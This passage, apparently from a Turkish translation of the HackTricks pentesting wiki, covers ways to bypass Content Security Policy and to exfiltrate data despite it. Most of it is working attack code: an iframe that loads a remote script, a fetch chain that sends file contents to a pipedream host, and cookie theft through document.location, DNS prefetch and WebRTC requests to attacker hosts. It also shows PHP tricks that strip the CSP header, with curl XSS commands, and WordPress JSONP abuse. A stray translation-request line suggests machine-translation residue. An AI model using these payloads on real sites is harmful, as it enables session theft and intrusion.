Eğer sunucunun yanıtında başlık Content-Security-Policy-Report-Only ve sizin kontrolünüzde bir değer (ör. bir CRLF nedeniyle) döndürmesini sağlayabilirseniz, bu başlığı kendi sunucunuza yönlendirebilirsiniz. Exfiltrate etmek istediğiniz JS içeriğini <script> ile sardığınızda ve CSP muhtemelen unsafe-inline'i izin vermediği için bu bir CSP hatası tetikleyecek; betiğin bir kısmı (hassas bilgileri içeren) Content-Security-Policy-Report-Only üzerinden sunucunuza gönderilecektir.

For an example check this CTF writeup.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Leaking Information with CSP and Iframe

  • Bir iframe oluşturulur ve CSP tarafından izin verilen bir URL'ye (ör. https://example.redirect.com) işaret eder.
  • Bu URL daha sonra CSP tarafından izin verilmeyen gizli bir URL'ye (ör. https://usersecret.example2.com) yönlendirilir.
  • securitypolicyviolation event'ini dinleyerek blockedURI özelliği yakalanabilir. Bu özellik, engellenen URI'nin alan adını ortaya çıkarır ve böylece ilk URL'nin yönlendirildiği gizli domain'in leak'ine neden olur.

Chrome ve Firefox gibi tarayıcıların CSP bağlamında iframes'leri işlerken farklı davranışlar sergilediğini ve tanımsız (undefined) davranışlar nedeniyle hassas bilgilerin leak olabileceğini belirtmek ilginçtir.

Başka bir teknik ise CSP'nin kendisinden faydalanarak gizli subdomain'i türetmeyi içerir. Bu yöntem ikili arama (binary search) algoritmasına dayanır ve CSP'yi kasıtlı olarak engellenmiş belirli domainleri içerecek şekilde ayarlamayı gerektirir. Örneğin, gizli subdomain bilinmeyen karakterlerden oluşuyorsa, CSP direktifini değiştirerek bu subdomain'leri engelleyen veya izin veren testler yaparak iteratif olarak farklı subdomain'leri deneyebilirsiniz. Aşağıda bu yöntemi kolaylaştırmak için CSP'nin nasıl yapılandırılabileceğini gösteren bir snippet bulunuyor:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP tarafından hangi isteklerin engellendiğini veya izin verildiğini izleyerek, gizli alt etki alanındaki olası karakterler daraltılabilir ve sonunda tam URL ortaya çıkarılabilir.

Her iki yöntem de CSP uygulamasının ve tarayıcı davranışının nüanslarını kullanır; bu da görünüşte güvenli politikaların istemeden hassas bilgileri leak edebileceğini gösterir.

Hile here kaynaklı.

CSP'yi Aşmak İçin Güvensiz Teknolojiler

Çok fazla parametre olduğunda PHP Hataları

Bu videoda yorumlanan last technique commented in this video göre, çok fazla parametre gönderilmesi (1001 GET parametresi; ayrıca POST parametreleriyle veya 20'den fazla dosyayla da yapılabilir) durumunda, PHP web kodunda tanımlı herhangi bir header() tetiklenecek hata nedeniyle gönderilmeyecektir.

PHP yanıt tamponunun aşılması

PHP varsayılan olarak yanıtı 4096 byte'a kadar tamponladığıyla bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, uyarılar içinde yeterli veri sağlayarak yanıt CSP başlığından önce gönderilebilir, bu da başlığın göz ardı edilmesine neden olur.
Teknik esasen CSP başlığının gönderilmemesi için yanıt tamponunu uyarılarla doldurmaktan ibarettir.

Fikir this writeup kaynaklı.

max_input_vars ile CSP'yi devre dışı bırakma (headers already sent)

Başlıklar her çıktının öncesinde gönderilmek zorunda olduğundan, PHP tarafından üretilen uyarılar sonraki header() çağrılarını geçersiz kılabilir. Kullanıcı girdisi max_input_vars'ı aşarsa, PHP önce bir startup uyarısı fırlatır; ardından yapılacak herhangi bir header('Content-Security-Policy: ...') “headers already sent” hatasıyla başarısız olur, bu da CSP'yi fiilen devre dışı bırakır ve aksi takdirde engellenen reflective XSS'e izin verir.

php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];

Çevirmemi istediğiniz içeriği gönderin.

bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"

# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent

Hata Sayfasını Yeniden Yazma

Bu this writeup'e göre, bir hata sayfası yükleyip (muhtemelen CSP olmadan) içeriğini yeniden yazarak CSP protection'ı bypass etmek mümkün görünüyordu.

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME, bir sayfanın bir endpoint'inde bulunan bir XSS (veya çok kısıtlı bir XSS) kullanarak aynı origin içindeki diğer endpoint'leri kötüye kullanan bir tekniktir. Bu, saldırgan sayfasından vulnerable endpoint'i yükleyip ardından saldırgan sayfasını kötüye kullanmak istediğiniz aynı origin içindeki gerçek endpoint'e yenileyerek yapılır. Bu sayede vulnerable endpoint, payload içindeki opener objesini kullanarak kötüye kullanılacak gerçek endpoint'in DOM'una erişebilir. Daha fazla bilgi için bakınız:

SOME - Same Origin Method Execution

Ayrıca, wordpress'in /wp-json/wp/v2/users/1?_jsonp=data adresinde, gönderilen data'yı çıktı olarak reflect eden (sadece harf, rakam ve nokta ile sınırlı) bir JSONP endpoint'i vardır.

Bir saldırgan bu endpoint'i WordPress'e karşı bir generate a SOME attack oluşturmak için kötüye kullanabilir ve bunu <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> içine embed edebilir; bu script'in yükleneceğini unutmayın çünkü 'self' tarafından izin verilir. Ayrıca, WordPress kurulu olduğu için saldırgan SOME attack'i vulnerable callback endpoint üzerinden kullanarak CSP'yi bypass edip bir kullanıcıya daha fazla yetki verebilir, yeni bir plugin yükleyebilir...
Bu saldırının nasıl gerçekleştirileceği hakkında daha fazla bilgi için şu adresi inceleyin: https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Eğer dış sunucularla interact with external servers kurmanıza izin vermeyen sıkı bir CSP varsa, bilgileri exfiltrate etmek için her zaman yapabileceğiniz bazı şeyler vardır.

Location

Sır bilgiyi saldırganın sunucusuna göndermek için basitçe location'u güncelleyebilirsiniz:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta etiketi

Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik leak olmaz)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Sayfaları daha hızlı yüklemek için tarayıcılar, host isimlerini IP adreslerine önceden çözümleyip ileride kullanım için önbelleğe alır.
Bir tarayıcıya bir host adını önceden çözümlemesini şu şekilde belirtebilirsiniz: <link rel="dns-prefetch" href="something.com">

Bu davranışı exfiltrate sensitive information via DNS requests için kötüye kullanabilirsiniz:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

Başka bir yol:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Bunun olmasını önlemek için sunucu şu HTTP header'ı gönderebilir:

X-DNS-Prefetch-Control: off

tip

Görünüşe göre bu teknik headless tarayıcılarda (botlarda) çalışmıyor

WebRTC

Birkaç sayfada WebRTC'nin CSP'nin connect-src politikasını kontrol etmediğini okuyabilirsiniz.

Aslında bir DNS request kullanarak leak yapabilirsiniz. Bu koda göz atın:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

Başka bir seçenek:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

Kimlik bilgileri açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'e bir DNS isteği gönderir. Bu yalnızca güvenli bağlam (HTTPS) veya localhost üzerinde çalışır.

javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

CSP Politikalarını Çevrimiçi Kontrol Etme

CSP Otomatik Oluşturma

https://csper.io/docs/generating-content-security-policy

Kaynaklar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin